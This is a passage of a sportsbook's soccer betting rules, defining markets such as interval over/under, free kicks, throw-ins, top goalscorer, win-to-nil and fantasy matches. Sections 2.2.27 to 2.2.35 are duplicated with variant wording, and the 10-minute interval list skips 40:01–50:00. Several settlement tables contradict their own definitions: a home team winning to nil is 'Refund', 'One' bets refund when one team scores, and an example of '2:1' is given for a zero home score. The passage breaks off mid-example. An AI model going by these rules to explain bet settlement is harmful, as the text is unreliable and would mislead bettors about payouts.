2.2.16.2. In handicap betting, the result includes all penalties taken in the shoot-out, including sudden death. In over/under betting, the result only includes the regulation ten penalties in the shoot-out and does not include sudden death.

2.2.17. Fantasy League

2.2.17.1. Fantasy matches are matchups between teams from different matches.

2.2.17.2. All venues provided are for reference purposes only.

2.2.18. Specific 15-Minute Over/Under (OU)

2.2.18.1. The Specific 15-Minute (OU) involves betting based on the total number of points (goals, corners, games, cards, etc.) at the end of every 15-minute interval of a match.

2.2.18.2. If the total exceeds the pre-designated Over/Under line, the winning result is Over. If the total is less than the pre-designated Over/Under line, the winning result is Under.

2.2.18.3. Examples:

  • 15th Minute OU: Total points scored from 00:00 to 15:00. Bets must be placed before the end of the 15th minute.
  • 30th Minute OU: Total points scored from 15:01 to 30:00. Bets must be placed before the end of the 30th minute.
  • 45th Minute OU: Total points scored from 30:01 to 45:00. Bets must be placed before the end of the 45th minute.
  • 60th Minute OU: Total points scored from 45:01 to 60:00. Bets must be placed before the end of the 60th minute.
  • 75th Minute OU: Total points scored from 60:01 to 75:00. Bets must be placed before the end of the 75th minute.
  • 90th Minute OU: Total points scored from 75:01 to 90:00. Bets must be placed before the end of the 90th minute.

2.2.18.4. For the Specific 15-Minute OU, bets are settled based on the exact time a goal is scored, number of corners taken, and Total Bookings (cards given by the referee) as shown by the clock in the live broadcast.

2.2.18.5. If a match is suspended or abandoned, bets placed on unfinished Specific 15-Minute OU will be void. Completed Specific 15-Minute OU bets will be valid.

2.2.18.6. For the last two minutes of any Specific 15-Minute O/U live betting, only specific actions such as a goal, a penalty, or a red card will be considered. All pending bets may be accepted during this time (Safe Play).

2.2.18.7. For the last two minutes of any Specific 15-Minute Number of Corners live betting, only specific actions such as a front court dangerous free kick, attacker holding the ball at the front court, or a penalty will be considered. All pending bets may be accepted during this time (Safe Play).

2.2.18.8. For the last two minutes of any Specific 15-Minute Total Bookings live betting, only specific actions such as a front court dangerous free kick, a penalty, a goal, a corner, a player down injured unexplained, players arguing, or players fighting will be considered. All pending bets may be accepted during this time (Safe Play).

2.2.18.9. For 30:01-45:00 & 75:01-90:00, bets are settled based on the exact time a goal is scored, number of corners taken, and Total Bookings as shown by the clock in the live broadcast, excluding additional time or injury time.

2.2.19. Free kick

2.2.19.1. An awarded free kick that is untaken does not count.

2.2.19.2. Free kick refers to both direct and indirect free kicks (except penalty kicks and goal kicks).

2.2.19.3. Number of Free kicks

2.2.19.3.1. Handicap & 1st Half Handicap – Handicap refers to betting on which team will take the most free kicks during a match, inclusive of any handicaps. – 1st Half Handicap refers to betting on which team will take the most free kicks during the first half of a match, inclusive of any handicaps. – 1st Half Handicap bets are void if the match is abandoned during the first half but remain valid if abandoned during the second half.

2.2.19.3.2. Over/Under & 1st Half Over/Under – Over/Under means betting on the total number of free kicks taken by both teams during a match. – 1st Half Over/Under means betting on the total number of free kicks taken by both teams during the first half of a match. – If the total exceeds the Over/Under line, the winning result is Over. If the total is less than the Over/Under line, the winning result is Under. – Bets are void if the match is abandoned unless settlement is already determined.

2.2.19.4. First Free kick & 2nd Half First Free kick

2.2.19.4.1. First Free kick refers to betting on which team will take the first free kick in a match.

2.2.19.4.2. 2nd Half First Free kick refers to betting on which team will take the first free kick in the second half of a match.

2.2.19.4.3. If a match is abandoned after the first free kick has been taken, all bets are valid. If a match is abandoned before the first free kick has been taken, all bets are void.

2.2.19.5. Last Free Kick

2.2.19.5.1. Last Free kick refers to betting on which team will take the last free kick in a match.

2.2.19.5.2. If a match is abandoned, all bets are void.

2.2.19.6. Next Free Kick

2.2.19.6.1. Next Free Kick means betting on which team will be awarded the next free kick.

2.2.19.6.2. All bets are considered valid if the designated free kick has been taken.

2.2.20. Goal Kick

2.2.20.1. A goal kick is awarded to the defending team if the ball completely crosses the end line as a result of contact with an opposing player.

2.2.20.2. A kick by a goalkeeper after making a save does not count.

2.2.20.3. Number of Goal Kicks

2.2.20.3.1. Handicap & 1st Half Handicap

2.2.20.3.1.1. Handicap means betting on which team will take the most goal kicks during a match, inclusive of any handicaps.

2.2.20.3.1.2. 1st Half means betting on which team will take the most goal kicks during the first half of a match, inclusive of any handicaps.

2.2.20.3.1.3. 1st Half Handicap bets will be void if the match is abandoned during the first half. However, bets will remain valid if the match is abandoned during the second half.

2.2.20.3.2. Over/Under & 1st Half Over/Under

2.2.20.3.2.1. Over/Under means betting on the total number of goal kicks taken by both teams during a match.

2.2.20.3.2.2. 1st Half Over/Under means betting on the total number of goal kicks taken by both teams during the first half of a match.

2.2.20.3.2.3. If the total is more than the OU line, then the winning result is Over. If the total is less than the OU line, then the winning result is Under.

2.2.20.3.2.4. Bets will be void if the match is abandoned unless the settlement of bets is already determined.

2.2.20.4. First Goal Kick & 2nd Half First Goal Kick

2.2.20.4.1. First Goal Kick means betting on which team will take the first goal kick in a match.

2.2.20.4.2. 2nd Half First Goal Kick means betting on which team will take the first goal kick in the second half of a match.

2.2.20.4.3. If a match is abandoned after the first goal kick has been taken, then all bets are valid. If a match is abandoned before the first goal kick has been taken, then all bets are void.

2.2.20.5. Last Goal Kick

2.2.20.5.1. Last Goal Kick means betting on which team will take the last goal kick in a match.

2.2.20.5.2. If a match is abandoned, then all bets are void.

2.2.20.6. Next Goal Kick

2.2.20.6.1. Next Goal Kick means betting on which team will take the next goal kick in a match.

2.2.20.6.2. All bets are considered valid if the designated goal kick has been taken.

2.2.21. Throw-in

2.2.21.1. A throw-in is awarded to a team if the ball completely crosses the side touch line as a result of contact with an opposing player.

2.2.21.2. Number of Throw-ins

2.2.21.2.1. Handicap & 1st Half Handicap

2.2.21.2.1.1. Handicap means betting on which team will take the most throw-ins during a match, inclusive of any handicaps.

2.2.21.2.1.2. 1st Half Handicap means betting on which team will take the most throw-ins during the first half of a match, inclusive of any handicaps.

2.2.21.2.1.3. 1st Half Handicap bets will be void if the match is abandoned during the first half. However, bets will remain valid if the match is abandoned during the second half.

2.2.21.2.2. Over/Under & 1st Half Over/Under

2.2.21.2.2.1. Over/Under means betting on the total number of throw-ins taken by both teams during a match.

2.2.21.2.2.2. 1st Half Over/Under means betting on the total number of throw-ins taken by both teams during the first half of a match.

2.2.21.2.2.3. If the total is more than the OU line, then the winning result is Over. If the total is less than the OU line, then the winning result is Under.

2.2.21.2.2.4. Bets will be void if the match is abandoned unless the settlement of bets is already determined.

2.2.21.3. First Throw-in & 2nd Half First Throw-in

2.2.21.3.1. First Throw-in means betting on which team will take the first throw-in in a match.

2.2.21.3.2. 2nd Half First Throw-in means betting on which team will take the first throw-in in the second half of a match.

2.2.21.3.3. If a match is abandoned after the first throw-in has been taken, then all bets are valid. If a match is abandoned before the first throw-in has been taken, then all bets are void.

2.2.21.4. Last Throw-in

2.2.21.4.1. Last Throw-in means betting on which team will take the last throw-in in a match.

2.2.21.4.2. If a match is abandoned, then all bets are void.

2.2.21.5. Next Throw-in

2.2.21.5.1. Next Throw-in means betting on which team will take the next throw-in in a match.

2.2.21.5.2. All bets are considered valid if the designated throw-in has been taken.

2.2.22. Specific 10 Minutes Over/Under (O/U)

2.2.22.1. The Specific 10-Minute (OU) means betting that is determined by the total number of points (goals, corners, games, cards, etc.) at the end of every 10th minute interval of a match.

2.2.22.2. If the total is more than the Over/Under pre-designated line, then the winning result is Over. If the total is less than the Over/Under pre-designated line, then the winning result is Under.

2.2.22.3. For example:

10th Minute OU

00:00 – 10:00 O/U: Total number of points to be scored from 00:00 till 10:00. All bets must be placed on or before the end of the 10th minute.

20th Minute OU

10:01 – 20:00 O/U: Total number of points to be scored from 10:01 till 20:00. All bets must be placed on or before the end of the 20th minute.

30th Minute OU

20:01 – 30:00 O/U: Total number of points to be scored from 20:01 till 30:00. All bets must be placed on or before the end of the 30th minute.

40th Minute OU

30:01 – 40:00 O/U: Total number of points to be scored from 30:01 till 40:00. All bets must be placed on or before the end of the 40th minute.

60th Minute OU

50:01 – 60:00 O/U: Total number of points to be scored from 50:01 till 60:00. All bets must be placed on or before the end of the 60th minute.

70th Minute OU

60:01 – 70:00 O/U: Total number of points to be scored from 60:01 till 70:00. All bets must be placed on or before the end of the 70th minute.

80th Minute OU

70:01 – 80:00 O/U: Total number of points to be scored from 70:01 till 80:00. All bets must be placed on or before the end of the 80th minute.

90th Minute OU

80:01 – 90:00 O/U: Total number of points to be scored from 80:01 till 90:00. All bets must be placed on or before the end of the 90th minute.

2.2.22.4. Bets on the Specific 10-Minutes O/U are settled based on the exact time a goal is scored (ball crossing the goal line), the number of corners taken, and the total bookings (cards given by the official referee) as shown by the clock in the live broadcast.

2.2.22.5. If a match is suspended or abandoned, bets placed on unfinished Specific 10-Minute O/U will be void. However, if the designated Specific 10-Minute O/U are completed, the bets will be valid.

2.2.22.6. During the last two minutes of any Specific 10-Minutes O/U live betting, any actions other than a goal, a penalty, or a red card will be considered Safe Play. All pending bets placed may be considered for acceptance.

2.2.22.7. For the 80:01-90:00 timeframe, bets are settled based on the exact time a goal is scored (ball crossing the goal line), the number of corners taken, and the total bookings (cards given by the official referee) as shown by the clock in the live broadcast, excluding any additional time or injury time.

2.2.23. Futsal Rules

2.2.23.1. All bets are based on the result at the end of the scheduled 40 minutes (2 x 20 minutes) of regulation time. Extra time or penalties do not count.

2.2.23.2. If a match is postponed or suspended and not resumed on the same day, all bets will be void.

2.2.23.3. If a match begins before the scheduled time, only bets made before the actual kick-off will be considered valid. All bets placed after the starting time will be void, except for Live Betting.

2.2.24. Top Goal Scorer

2.2.24.1. League’s Top Goalscorer

2.2.24.1.1. League’s Top Goalscorer means betting on the player who will score the most goals within one regular season of a league.

2.2.24.1.2. If a player joins another club within the same league during the mid-season, all goals scored while playing for different clubs will be included in computing the total goals scored. However, goals scored by a player in matches outside the league will not count.

2.2.24.1.3. Goals scored during playoff games and penalty shootouts will not count.

2.2.24.1.4. Own goals will be excluded when calculating the total goals scored by a player.

2.2.24.1.5. Bets on non-starters will remain valid. A non-starter refers to any player whose name was not included in the final squad for the current season of a league.

2.2.24.1.6. If a player withdraws from or is transferred to another club in a different league before the start of the season, bets on the withdrawn or transferred player will be refunded.

2.2.24.1.7. In the event of a tie, the payout odds (minus the stake) are divided by the number of winners and settled accordingly, with the stake returned.

2.2.24.2. Tournament or Event Top Goalscorer

2.2.24.2.1. Tournament or Event Top Goalscorer means betting on the player who will score the most goals within one tournament or event.

2.2.24.2.2. Own goals and goals scored in penalty shootouts will be excluded when calculating the total goals scored by a player. However, goals scored during extra time will be counted.

2.2.24.2.3. Bets on non-starters will remain valid. A non-starter refers to any player whose name was not included in the final squad for the tournament or event.

2.2.24.2.4. If a player withdraws from or is transferred to another club in a different tournament or event before the start of the tournament or event, bets on the withdrawn or transferred player will be refunded.

2.2.24.2.5. In the event of a tie, the payout odds (minus the stake) are divided by the number of winners and settled accordingly, with the stake returned.

2.2.24.3. Players Head to Head Match Top Goal Scorer

2.2.24.3.1. Own goals and goals scored in penalty shootouts do not count. Extra time is excluded and does not count for betting purposes.

2.2.24.3.2. If a player does not start or play in the match, all bets will be void.

2.2.24.3.3. All results are determined when the official result is declared at the end of the match by the governing body.

2.2.25. Injury Time

2.2.25.1. Injury time refers to the extra playing time added to compensate for time spent attending to injured players during the match. The duration of injury time may vary.

2.2.25.2. Injury Time Awarded at the End of 1st Half

2.2.25.2.1. All bets placed are based on the full 45-minute play, excluding extra time. Bets are settled based on the injury time awarded by the match’s fourth official referee after the full 45 minutes of play or at the end of the 1st half.

2.2.25.2.2. If a match is abandoned during the 1st half, all bets on Injury Time Awarded at the end of the 1st Half will be void, and bets will be refunded.

2.2.25.3. Injury Time Awarded at the End of the 2nd Half

2.2.25.3.1. All bets placed are based on the full 90-minute play, excluding extra time. Bets are settled based on the injury time awarded by the match’s fourth official referee after the full 90 minutes of play or at the end of the 2nd half.

2.2.25.3.2. If a match is abandoned at any time, all bets on Injury Time Awarded at the end of the 2nd Half will be void, and bets will be refunded.

2.2.25.4. The Company will settle bets according to the official results provided by the soccer authority responsible for organizing the match.

2.2.26. Double Chance & 1st Half Double Chance

2.2.26.1. The following options are available:

  • 1 or X: If the result is either a home win or a draw, bets on this option are winners.
  • X or 2: If the result is either a draw or an away win, bets on this option are winners.
  • 1 or 2: If the result is either a home win or an away win, bets on this option are winners.
  • If a match is played at a neutral venue, the team listed first is considered the home team for betting purposes.

2.2.27. Draw No Bet

In this type of bet, you predict either a Home or Away win in a match. If the final result after regular time of play or at the end of the scheduled time is a Draw, all bets will be refunded.

2.2.28. Both/One/Neither to Score

  • Both: Both teams to score.
  • One: Either team to score.
  • Neither: Both teams not to score.

If an event is abandoned after a goal is scored by the Home team only, then ‘Neither’ bets will stand while ‘Both’ and ‘One’ bets will be void. If an event is abandoned after a goal is scored by the Away team only, ‘Neither’ bets will stand while ‘Both’ and ‘One’ bets will be void. If an event is abandoned after goals are scored by both the Home and Away teams, all bets will stand. If an event is abandoned without any goal being scored, all wagers will be void.

The following rules apply to determine the outcome:

Rule 1: Home score ≥ 1, Away score = 0 (e.g., 1:0, 2:0)

  • Both: Refund
  • One: Refund
  • Neither: Lose

Rule 2: Home score ≥ 1, Away score ≥ 1 (e.g., 1:1, 2:1)

  • Both: Win
  • One: Lose
  • Neither: Lose

Rule 3: Home score = 0, Away score ≥ 1 (e.g., 0:1, 2:1)

  • Both: Refund
  • One: Refund
  • Neither: Lose

2.2.29. To Win to Nil

In this type of bet, you predict whether your selection can win the match without conceding a goal after regular time of play or at the end of the scheduled time, excluding extra time or penalty shoot-outs.

If an event is abandoned after a goal is scored by the Home team only, then ‘Away’ bets will stand while ‘Home’ bets will be void. If a goal is scored by the Away team only, then ‘Home’ bets will stand while ‘Away’ bets will be void. If goals are scored by both the Home and Away teams, all bets will stand. If an event is abandoned without any goal being scored, then all wagers will be void.

The following rules apply to determine the outcome:

Rule 1: Home score ≥ 1, Away score = 0 (e.g., 1:0, 2:0)

  • Home: Refund
  • Away: Lose

Rule 2: Home score ≥ 1, Away score ≥ 1 (e.g., 1:1, 2:1)

  • Home: Lose
  • Away: Lose

Rule 3: Home score = 0, Away score ≥ 1 (e.g., 0:1, 2:1)

  • Home: Lose
  • Away: Refund

2.2.30. 3-Way Handicap

Settlement will be at the odds displayed using the actual score in the match adjusted for the handicap.

2.2.31. To Win Either Half

Predict whether your selection can score more goals than their opponent in one of two halves.

2.2.31.2. Home to Win Either Half

Home to win either half means betting to predict whether the home team can score more goals than their opponent in one of the two halves.

2.2.31.3. Away to Win Either Half

Away to win either half means betting to predict whether the away team can score more goals than their opponent in one of the two halves.

2.2.32. To Win Both Halves

Predict whether your selection can score more goals than their opponent in each half. If your selection scores in the first half of a match and the match finishes 1-0, although the first half was won 1-0, the score in the second 45 minutes was effectively 0-0 and therefore a draw. If this occurs, only the first half is considered to have been ‘won’ and therefore bets would be losers.

2.2.32.2. Home to Win Both Halves

Home to Win Both Halves means betting to predict whether the home team can score more goals than their opponent in each half.

2.2.32.3. Away to Win Both Halves

Away to Win Both Halves means betting to predict whether the away team can score more goals than their opponent in each half.

2.2.33. Highest Scoring Team

The team with the highest number of goals scored is the winner. Goal difference does not count. If teams are level on scores, then Dead Heat rules apply.

2.2.33.4. Abandonments and Postponements

Bets for the team that had a match abandoned or postponed (but not rescheduled within the period stated by the company) will be voided.

2.2.33.5. Goals scored during penalty shootouts will not count.

2.2.33.6. For markets referring to tournaments, goals scored in extra time will count.

2.2.33.7. For markets referring to a set of fixtures on given dates, goals scored in extra time will not count.

2.2.34. Exact First Half Goals

Exact First Half Goal means betting to predict the total number of goals scored by both teams by the end of the first half. If an event is abandoned before the end of the first half, all bets are considered void.

2.2.35. Exact Group Points

Exact Group Points means betting on a team to get a specific number of total points at the end of the Group round.

2.2.27. Draw No Bet

2.2.27.1. Draw no bet is a prediction on a Home or Away win in a match. If the final result after regular time or at the end of the scheduled time is a Draw, all bets will be refunded.

2.2.28. Both/One/Neither to Score

2.2.28.1. Both/One/Neither to score refers to the prediction of whether both teams will score (Both), at least one team will score (One), or neither team will score (Neither) in a match.

2.2.28.2. If an event is abandoned after a goal is scored by the Home team only, then ‘Neither’ bets will stand while ‘Both’ and ‘One’ bets will be void. If an event is abandoned after a goal is scored by the Away team only, ‘Neither’ bets will stand while ‘Both’ and ‘One’ bets will be void. If an event is abandoned after goals are scored by both the Home and Away teams, all bets will stand. If an event is abandoned without any goal being scored, all wagers will be void.

The following rules apply to determine the outcome:

Rule 1: Home score ≥ 1, Away score = 0 (e.g., 1:0, 2:0)

  • Both: Refund
  • One: Refund
  • Neither: Lose

Rule 2: Home score ≥ 1, Away score ≥ 1 (e.g., 1:1, 2:1)

  • Both: Win
  • One: Lose
  • Neither: Lose

Rule 3: Home score = 0, Away score ≥ 1 (e.g., 0:1, 2:1)

  • Both: Refund
  • One: Refund
  • Neither: Lose

2.2.29. To Win to Nil

2.2.29.1. To Win to Nil is a prediction on whether your selection can win the match without conceding a goal after regular time or at the end of the scheduled time, excluding extra time or penalty shoot-outs.

2.2.29.2. If an event is abandoned after a goal is scored by the Home team only, then ‘Away’ bets will stand while ‘Home’ bets will be void. If a goal is scored by the Away team only, then ‘Home’ bets will stand while ‘Away’ bets will be void. If goals are scored by both the Home and Away teams, all bets will stand. If an event is abandoned without any goal being scored, then all wagers will be void.

The following rules apply to determine the outcome:

Rule 1: Home score ≥ 1, Away score = 0 (e.g., 1:0, 2:0)

  • Home: Refund
  • Away: Lose

Rule 2: Home score ≥ 1, Away score ≥ 1 (e.g., 1:1, 2:1)

  • Home: Lose
  • Away: Lose

Rule 3: Home score = 0, Away score ≥ 1 (e.g., 0:1, 2:1)

  • Home: Lose
  • Away: Refund

2.2.30. 3-Way Handicap

2.2.30.1. Settlement will be at the odds displayed using the actual score in the match adjusted for the handicap.

2.2.31. To Win Either Half

2.2.31.1. To Win Either Half is a prediction on whether your selection can score more goals than their opponent in one of the two halves.

2.2.31.2. Home to Win Either Half means betting on whether the home team can score more goals than their opponent in one of the two halves. Bets will be void if the match is abandoned unless settlement of bets is already determined.

2.2.31.3. Away to Win Either Half means betting on whether the away team can score more goals than their opponent in one of the two halves. Bets will be void if the match is abandoned unless settlement of bets is already determined.

2.2.32. To Win Both Halves

2.2.32.1. To Win Both Halves is a prediction on whether your selection can score more goals than their opponent in each half of the match. If your selection scores in the first half of a match and the match finishes 1-0, although the first half was won 1-0, the score in the second 45 minutes was effectively 0-0, and therefore a draw. In such a case, only the first half is considered to have been ‘won,’ and bets would be losers.

2.2.32.2. Home to Win Both Halves means betting on whether the home team can score more goals than their opponent in each half. Bets will be void if the match is abandoned unless settlement of bets is already determined.

2.2.32.3. Away to Win Both Halves means betting on whether the away team can score more goals than their opponent in each half. Bets will be void if the match is abandoned unless settlement of bets is already determined.

2.2.33. Highest Scoring Team

2.2.33.1. The team with the highest number of goals scored is the winner. Goal difference does not count. If teams are level on scores, then Dead Heat rules apply.

2.2.33.4. Abandonments and Postponements

2.2.33.4.1. Bets for the team that had a match abandoned or postponed (but not rescheduled within the period stated by the company) will be voided.

2.2.33.5. Goals scored during penalty shootouts will not count.

2.2.33.6. For markets referring to tournaments, goals scored in extra time will count.

2.2.33.7. For markets referring to a set of fixtures on given dates, goals scored in extra time will not count.

2.2.34. Exact First Half Goals

2.2.34.1. Exact First Half Goal means betting to predict the total number of goals scored by both teams by the end of the first half. If an event is abandoned before the end of the first half, all bets are considered void.

2.2.35. Exact Group Points

2.2.35.1. Exact Group Points means betting on a team to achieve a specific number of total points at the end of the Group round.

2.2.36. Highest Scoring Group

2.2.36.1. Highest Scoring Group refers to betting on the total number of goals scored by the teams in a specific group on a designated date.

2.2.36.2. In the case of a tie in scores between groups, Dead Heat rules apply, which means the winnings will be divided equally among the winners.

Example:

Group A:

  • Poland vs. Greece: 2-1 = 3 Goals
  • Russia vs. Czech: 3-2 = 5 Goals

Group A Total: 8 Goals Group B Total: 7 Goals Group C Total: 7 Goals Group D Total: 6 Goals

In this example, Group A is the winner with the highest total of 8 goals.

2.2.37. Team Group Points

2.2.37.1. Team Group Points involves betting on the total points of a specific team at the end of the Group round. The categories offered are “Under,” “Inclusive,” and “Over.”

Example:

Total points of Team X is 5 points

Bets:

  • Under 3 points: Lose
  • Inclusive 3-4 points: Lose
  • Over 4 points: Win

2.2.38. Group Straight Forecast

2.2.38.1. Group Straight Forecast refers to betting on the prediction of the teams that will finish in first and second place, in a specific order, in the team standings of their respective Group at the end of the Group stage.

2.2.39. Injury Time Awarded Over/Under

2.2.39.1. Injury Time Awarded at the End of 1st Half Over/Under:

2.2.39.1.1. This means betting Over/Under on the injury time awarded at the end of the first half.

2.2.39.1.2. If the total injury time is higher than the Over/Under line, the winning result is Over. If the total injury time is lower than the Over/Under line, the winning result is Under.

2.2.39.1.3. Bets are settled based on the injury time awarded by the match’s fourth official referee after the full 45 minutes of play or at the end of the first half.

2.2.39.2. Injury Time Awarded at the End of 2nd Half Over/Under:

2.2.39.2.1. This means betting Over/Under on the injury time awarded at the end of the second half.

2.2.39.2.2. If the total injury time is higher than the Over/Under line, the winning result is Over. If the total injury time is lower than the Over/Under line, the winning result is Under.

2.2.39.2.3. Bets are settled based on the injury time awarded by the match’s fourth official referee after the full 90 minutes of play or at the end of the second half.

2.2.40. First Goal Method

2.2.40.1. First Goal Method involves predicting how the first goal of a match will be scored, either by the home or away team.

2.2.40.1.1. Free-kick: The goal must be scored directly from a free kick or a corner kick (including deflected shots).

2.2.40.1.2. Penalty: The goal must be scored directly from a penalty kick, with the designated penalty taker as the scorer.

2.2.40.1.3. Own Goal: If the goal is declared as an own goal.

2.2.40.1.4. Header: The last touch of the scorer must be with the head.

2.2.40.1.5. Shot: All other goal types not included in the above categories.

2.2.40.1.6. No Goal: If no goal is scored.

2.2.40.2. Bets will be settled according to the official results provided by the soccer authority responsible for organizing the match.

2.2.41. Penalty Shootout – Will the Penalty be Scored?

2.2.41.1. This means betting on whether a designated penalty kick-taker will score or miss during a penalty shootout.

2.2.41.2. If a penalty kick is not taken, all bets will be void.

2.2.42. Dual Forecast

2.2.42.1. Dual Forecast involves predicting the two teams that will finish in the top two positions, in any order, at the end of the tournament.

2.2.43. Straight Forecast

2.2.43.1. Straight Forecast involves predicting the two teams that will finish in the top two positions, in the exact order, at the end of the tournament.

2.2.44. Top Newcomer

2.2.44.1. Top Newcomer refers to predicting which team will finish as the top newcomer of an event or tournament.

2.2.44.2. A “Newcomer” is a team that is newly promoted to join an event or tournament.

2.2.45. Regional Winner

2.2.45.1. Regional Winner means betting on the winner of the event or tournament from a specific region.

2.2.45.2. All results are determined based on the official result declared at the end of the tournament by the governing body.

2.2.46. Home no bet

2.2.46.1. Home no bet refers to predicting a draw or an away win in a match. If the final result after regular time or at the end of the scheduled time is a home win, all bets will be refunded.

2.2.47. Away no bet

2.2.47.1. Away no bet involves predicting a draw or a home win in a match. If the final result after regular time or at the end of the scheduled time is an away win, all bets will be refunded.

2.2.48. Draw / No draw

2.2.48.1. Draw / No draw means predicting whether the final result of an event after regular time or at the end of the scheduled time will be a draw or not.

2.2.49. First Half Correct Score

2.2.49.1. First Half Correct Score refers to betting on predicting the final score at the end of the first half of a match.

2.2.49.2. Bets will be void if the match is abandoned unless the settlement of bets is already determined.

2.2.50. Result/Total Goal

2.2.50.1. Result/Total Goal involves predicting two aspects: (A) Whether a match will result in a home win, away win, or draw. (B) Whether the total number of goals in the final result of an event will be over or under a pre-designated line.

2.2.50.2. The following betting options are available:

  • Home & Over: The bet wins if the home team wins and the total goals are above the pre-designated line.
  • Home & Under: The bet wins if the home team wins and the total goals are below the pre-designated line.
  • Away & Over: The bet wins if the away team wins and the total goals are above the pre-designated line.
  • Away & Under: The bet wins if the away team wins and the total goals are below the pre-designated line.
  • Draw & Over: The bet wins if the match results in a draw and the total goals are above the pre-designated line.
  • Draw & Under: The bet wins if the match results in a draw and the total goals are below the pre-designated line.

2.2.51. Team to Win From Behind

2.2.51.1. Team to Win From Behind means betting on predicting the team that will be losing at any time in the match but eventually comes from behind to win at the end of 90 minutes.

2.2.52. First Goalscorer

2.2.52.1. First Goalscorer involves betting on predicting the player who will score the first goal in a match.

2.2.52.2. Bets on any player who takes no part in the match will be void and refunded.

2.2.52.3. Bets on any player who comes on as a substitute only after the first goal is scored will be void and refunded.

2.2.52.4. Own goals do not count as the first goal. In such cases, the next player to score will be considered the first goalscorer.

2.2.52.5. If the player is selected after the first goal is scored, the bet will be considered void except when the first goal is an own goal, in which case the bet will stand.

2.2.52.6. Bets on players who are substituted or sent off before the first goal is scored will be lost.

2.2.52.7. Bets placed on “no goalscorer” win if no player scores a goal in the match. If an own goal is the only goal in a game, bets on “no goalscorer” win.

2.2.53. First Team to Score 2 Goals

2.2.53.1. First Team to Score 2 Goals means betting on predicting which team will be the first to score two goals in a match.

  • Home
  • Away
  • Neither

2.2.53.2. If a match is abandoned after a team has scored two goals, all bets will stand.

2.2.53.3. If a match is abandoned before any team has scored two goals, all bets will be void.

2.2.54. First Team to Score 3 Goals

2.2.54.1. First Team to Score 3 Goals means betting on predicting which team will be the first to score three goals in a match.

  • Home
  • Away
  • Neither

2.2.54.2. If a match is abandoned after a team has scored three goals, all bets will stand.

2.2.54.3. If a match is abandoned before any team has scored three goals, all bets will be void.

2.2.55. Time of First Goal

2.2.55.1. Time of First Goal means betting on predicting in which time bracket the first goal will be scored.

2.2.55.2. The following time brackets/betting options are available:

  1. 00:00 – 10:00
  2. 10:01 – 20:00
  3. 20:01 – 30:00
  4. 30:01 – 40:00
  5. 40:01 – 50:00
  6. 50:01 – 60:00
  7. 60:01 – 70:00
  8. 70:01 – 80:00
  9. 80:01 – Full Time
  10. No goal

2.2.55.3. If a match is abandoned after the first goal has been scored, all bets will stand.

2.2.55.4. If a match is abandoned before the first goal has been scored, all bets will be void.

2.2.56. Which Half Will Produce The First Goal

2.2.56.1. This bet type involves predicting in which half of the match the first goal will be scored.

2.2.56.2. The following betting options are available:

  1. First half
  2. Second half
  3. No goal

2.2.56.3. If a match is subsequently abandoned after the first goal has been scored during the first half, all bets will stand.

2.2.56.4. If a match is abandoned at any time before the first goal has been scored, all bets will be void.

2.2.57. Both Teams to Score/Result and Both Teams to Score/Half Time Result

2.2.57.1. Both teams to score/result involves predicting: (A) whether both teams will score in a match, and (B) whether the match will result in a Home win, Away win, or Draw.

2.2.57.2. The following betting options are available:

  1. Yes & Home: Bet wins if both teams score and the Home team wins.
  2. Yes & Away: Bet wins if both teams score and the Away team wins.
  3. Yes & Draw: Bet wins if both teams score and the match results in a Draw.

2.2.57.3. Both Teams to Score/Half Time Result involves predicting the result of the first half of the match and whether both teams will score in the first half. 2.2.57.4. Bets will be void if the match is abandoned unless the settlement of bets is already determined.

2.2.58. Match Half-time/Full-time Odd/Even

2.2.58.1. This bet type involves predicting whether the half-time result and the full-time result of a match will be odd and odd, odd and even, even and odd, or even and even.

2.2.58.2. There are four options to bet on:

  1. Odd/Odd
  2. Odd/Even
  3. Even/Odd
  4. Even/Even

2.2.58.3. Any extra time added will not be counted for determining the full-time result of a match.

2.2.58.4. Bets will be void if the match is abandoned unless the settlement of bets is already determined.

2.2.59. Half with Most Away Team Goals

2.2.59.1. This bet type involves predicting in which half of the match the Away Team will score more goals.

2.2.59.2. The following options are available:

  1. 1st Half
  2. 2nd Half
  3. Tie

2.2.60. Half with Home Team Scoring the First Goal

2.2.60.1. This bet type involves predicting in which half of the match the Home Team will score the First Goal.

2.2.60.2. The following options are available:

  1. 1st Half
  2. 2nd Half
  3. No Goal

2.2.61. Half with Away Team Scoring the First Goal

2.2.61.1. This bet type involves predicting in which half of the match the Away Team will score the First Goal.

2.2.61.2. The following options are available:

  1. 1st Half
  2. 2nd Half
  3. No Goal

2.2.62. Specific 15-Minute Handicap (HDP)

2.2.62.1. The Specific 15-minute Handicap involves betting when one competitor or team receives a virtual head start. The winner is determined by adding the given handicap to the result at the end of every 15th minute (INTERVAL OF) time of a match.

2.2.62.2. Examples:

  • 15th Minute HDP: The winner is the competitor or team with the better score from 00:00 till 15:00.
  • 30th Minute HDP: The winner is the competitor or team with the better score from 15:01 till 30:00.
  • 45th Minute HDP: The winner is the competitor or team with the better score from 30:01 – 45:00.
  • 60th Minute HDP: The winner is the competitor or team with the better score from 45:01 till 60:00.
  • 75th Minute HDP: The winner is the competitor or team with the better score from 60:01 till 75:00.
  • 90th Minute HDP: The winner is the competitor or team with the better score from 75:01 till 90:00. All bets must be placed on or before the end of the specified minute.

2.2.62.3. Bets for the Specific 15-Minute HDP are settled based on the exact time the goal is scored (ball crossing the goal line), the number of corners taken, and the total bookings (cards given by the official referee) as shown by the clock in the live broadcast.

2.2.62.4. If a match is suspended or abandoned, bets placed on unfinished Specific 15-Minute HDP will be considered void. However, if the designated Specific 15-Minute HDP is completed, bets will be valid.

2.2.62.5. During the last two minutes of any Specific 15-Minute HDP live betting, only specific actions such as a goal, penalty, or red card will be considered. Other actions will be considered Safe Play, and all pending bets may be accepted.

2.2.62.6. For the 30:01-45:00 & 75:01-90:00 Specific 15-Minute HDP, bets are settled based on the exact time the goal is scored (ball crossing the goal line), the number of corners taken, and the total bookings (cards given by the official referee) as shown by the clock in the live broadcast. This excludes any additional time or injury time.

2.2.63. Fantasy Match: Team to Score First

2.2.63.1. Fantasy Match: Team to Score First involves betting on the team that will score the first goal in a fantasy match.

Example:

Matches: Man City vs. Liverpool; Chelsea vs. Man United

Fantasy Match: Man City vs. Chelsea

Man City scored the first goal at 25:10

Chelsea scored the first goal at 25:48

Winning Bet: Man City.

2.2.63.2. If both matches score at the same time (minutes and seconds) or no goal is scored in BOTH matches, the fantasy match will be considered a draw.

2.2.63.3. If one match is postponed or cancelled after the first goal is scored in the other match, all bets will stand. However, if a match is postponed or cancelled before the first goal is scored in the other match, all bets will be void.

Example:

Matches: Man City vs. Liverpool; Chelsea vs. Man United

